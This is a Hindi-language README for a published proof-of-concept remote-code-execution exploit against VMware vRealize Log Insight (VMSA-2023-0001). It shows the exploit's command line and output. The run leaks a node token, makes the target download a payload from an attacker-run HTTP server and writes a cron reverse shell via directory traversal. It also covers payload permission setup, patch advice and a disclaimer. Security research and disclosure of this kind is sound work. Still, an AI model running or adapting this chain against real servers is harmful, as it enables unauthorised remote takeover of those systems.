horizon3ai/vrealizeloginsightrceVMSA-2023-0001 में वर्णित कमजोरियों का उपयोग करके RCE के लिए POC
VMSA-2023-0001 के लिए POC जो VMware vRealize Log Insight को प्रभावित करता है, जिसमें निम्नलिखित CVE शामिल हैं:
इस भेद्यता का डिफ़ॉल्ट कॉन्फ़िगरेशन रिवर्स शेल बनाने के लिए एक क्रॉन जॉब लिखता है। अपने वातावरण के अनुरूप payload फ़ाइल को बदलना सुनिश्चित करें।
भेद्यता का तकनीकी मूल कारण (रूट कॉज़) विश्लेषण हमारे ब्लॉग पर पाया जा सकता है: https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive
Log Insight इंस्टेंस में समझौता संकेतकों का विश्लेषण करने के लिए हमारा IOC ब्लॉग देखें: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/
यह POC मनमाना फ़ाइल लेखन प्राप्त करने के लिए विभिन्न Thrift RPC एंडपॉइंट्स का दुरुपयोग करता है।
$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered
यदि क्रॉन-आधारित पेलोड का उपयोग कर रहे हैं, तो सुनिश्चित करें कि पेलोड फ़ाइल में उचित अनुमतियाँ और स्वामी हों:
sudo chown root:root payload
sudo chmod 0644 payload
नवीनतम संस्करण में अपडेट करें या VMSA में दिए गए निर्देशों का पालन करके शमन करें https://www.vmware.com/security/advisories/VMSA-2023-0001.html
यह सॉफ़्टवेयर केवल अकादमिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्य से बनाया गया है, और स्पष्ट रूप से अधिकृत किए गए सिस्टम को छोड़कर सिस्टम पर हमला करने के लिए इसका उपयोग करने का इरादा नहीं है। प्रोजेक्ट अनुरक्षक सॉफ़्टवेयर के दुरुपयोग के लिए ज़िम्मेदार या उत्तरदायी नहीं हैं। ज़िम्मेदारी से उपयोग करें।